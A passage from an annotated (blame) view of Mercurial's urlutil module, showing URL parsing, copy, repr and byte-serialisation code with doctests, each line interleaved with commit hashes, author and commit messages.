Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
165 |
if parts[0]: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
166 |
self.scheme, path = parts |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
167 |
self._localpath = False |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
168 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
169 |
if not path: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
170 |
path = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
171 |
if self._localpath: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
172 |
self.path = b'' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
173 |
return |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
174 |
else: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
175 |
if self._localpath: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
176 |
self.path = path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
177 |
return |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
178 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
179 |
if parsequery and b'?' in path: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
180 |
path, self.query = path.split(b'?', 1) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
181 |
if not path: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
182 |
path = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
183 |
if not self.query: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
184 |
self.query = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
185 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
186 |
# // is required to specify a host/authority |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
187 |
if path and path.startswith(b'//'): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
188 |
parts = path[2:].split(b'/', 1) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
189 |
if len(parts) > 1: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
190 |
self.host, path = parts |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
191 |
else: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
192 |
self.host = parts[0] |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
193 |
path = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
194 |
if not self.host: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
195 |
self.host = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
196 |
# path of file:///d is /d |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
197 |
# path of file:///d:/ is d:/, not /d:/ |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
198 |
if path and not hasdriveletter(path): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
199 |
path = b'/' + path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
200 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
201 |
if self.host and b'@' in self.host: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
202 |
self.user, self.host = self.host.rsplit(b'@', 1) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
203 |
if b':' in self.user: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
204 |
self.user, self.passwd = self.user.split(b':', 1) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
205 |
if not self.host: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
206 |
self.host = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
207 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
208 |
# Don't split on colons in IPv6 addresses without ports |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
209 |
if ( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
210 |
self.host |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
211 |
and b':' in self.host |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
212 |
and not ( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
213 |
self.host.startswith(b'[') and self.host.endswith(b']') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
214 |
) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
215 |
): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
216 |
self._hostport = self.host |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
217 |
self.host, self.port = self.host.rsplit(b':', 1) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
218 |
if not self.host: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
219 |
self.host = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
220 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
221 |
if ( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
222 |
self.host |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
223 |
and self.scheme == b'file' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
224 |
and self.host not in (b'localhost', b'127.0.0.1', b'[::1]') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
225 |
): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
226 |
raise error.Abort( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
227 |
_(b'file:// URLs can only refer to localhost') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
228 |
) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
229 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
230 |
self.path = path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
231 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
232 |
# leave the query string escaped |
50615
9e69d9d6f4cf
safehasattr: pass attribute name as string instead of bytes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50207
diff
changeset
|
233 |
for a in ('user', 'passwd', 'host', 'port', 'path', 'fragment'): |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
234 |
v = getattr(self, a) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
235 |
if v is not None: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
236 |
setattr(self, a, urlreq.unquote(v)) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
237 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
238 |
def copy(self): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
239 |
u = url(b'temporary useless value') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
240 |
u.path = self.path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
241 |
u.scheme = self.scheme |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
242 |
u.user = self.user |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
243 |
u.passwd = self.passwd |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
244 |
u.host = self.host |
49758
20f262ab6fd3
path: fix `url.copy` dropping the port
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49756
diff
changeset
|
245 |
u.port = self.port |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
246 |
u.query = self.query |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
247 |
u.fragment = self.fragment |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
248 |
u._localpath = self._localpath |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
249 |
u._hostport = self._hostport |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
250 |
u._origpath = self._origpath |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
251 |
return u |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
252 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
253 |
@encoding.strmethod |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
254 |
def __repr__(self): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
255 |
attrs = [] |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
256 |
for a in ( |
50897
6ca865080479
remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50718
diff
changeset
|
257 |
'scheme', |
6ca865080479
remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50718
diff
changeset
|
258 |
'user', |
6ca865080479
remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50718
diff
changeset
|
259 |
'passwd', |
6ca865080479
remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50718
diff
changeset
|
260 |
'host', |
6ca865080479
remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50718
diff
changeset
|
261 |
'port', |
6ca865080479
remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50718
diff
changeset
|
262 |
'path', |
6ca865080479
remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50718
diff
changeset
|
263 |
'query', |
6ca865080479
remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50718
diff
changeset
|
264 |
'fragment', |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
265 |
): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
266 |
v = getattr(self, a) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
267 |
if v is not None: |
50897
6ca865080479
remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50718
diff
changeset
|
268 |
line = b'%s: %r' |
6ca865080479
remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50718
diff
changeset
|
269 |
line %= (pycompat.bytestr(a), pycompat.bytestr(v)) |
6ca865080479
remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50718
diff
changeset
|
270 |
attrs.append(line) |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
271 |
return b'<url %s>' % b', '.join(attrs) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
272 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
273 |
def __bytes__(self): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
274 |
r"""Join the URL's components back into a URL string. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
275 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
276 |
Examples: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
277 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
278 |
>>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
279 |
'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
280 |
>>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
281 |
'http://user:pw@host:80/?foo=bar&baz=42' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
282 |
>>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
283 |
'http://user:pw@host:80/?foo=bar%3dbaz' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
284 |
>>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
285 |
'ssh://user:pw@[::1]:2200//home/joe#' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
286 |
>>> bytes(url(b'http://localhost:80//')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
287 |
'http://localhost:80//' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
288 |
>>> bytes(url(b'http://localhost:80/')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
289 |
'http://localhost:80/' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
290 |
>>> bytes(url(b'http://localhost:80')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
291 |
'http://localhost:80/' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
292 |
>>> bytes(url(b'bundle:foo')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
293 |
'bundle:foo' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
294 |
>>> bytes(url(b'bundle://../foo')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
295 |
'bundle:../foo' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
296 |
>>> bytes(url(b'path')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
297 |
'path' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
298 |
>>> bytes(url(b'file:///tmp/foo/bar')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
299 |
'file:///tmp/foo/bar' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
300 |
>>> bytes(url(b'file:///c:/tmp/foo/bar')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
301 |
'file:///c:/tmp/foo/bar' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
302 |
>>> print(url(br'bundle:foo\bar')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
303 |
bundle:foo\bar |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
304 |
>>> print(url(br'file:///D:\data\hg')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
305 |
file:///D:\data\hg |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
306 |
""" |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
307 |
if self._localpath: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
308 |
s = self.path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
309 |
if self.scheme == b'bundle': |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
310 |
s = b'bundle:' + s |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
311 |
if self.fragment: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
312 |
s += b'#' + self.fragment |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
313 |
return s |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
314 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
315 |
s = self.scheme + b':' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
316 |
if self.user or self.passwd or self.host: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
317 |
s += b'//' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
318 |
elif self.scheme and ( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
319 |
not self.path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
320 |
or self.path.startswith(b'/') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
321 |
or hasdriveletter(self.path) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
322 |
): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
323 |
s += b'//' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
324 |
if hasdriveletter(self.path): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
325 |
s += b'/' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
326 |
if self.user: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
327 |
s += urlreq.quote(self.user, safe=self._safechars) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
328 |
if self.passwd: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
329 |
s += b':' + urlreq.quote(self.passwd, safe=self._safechars) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
330 |
if self.user or self.passwd: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
331 |
s += b'@' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
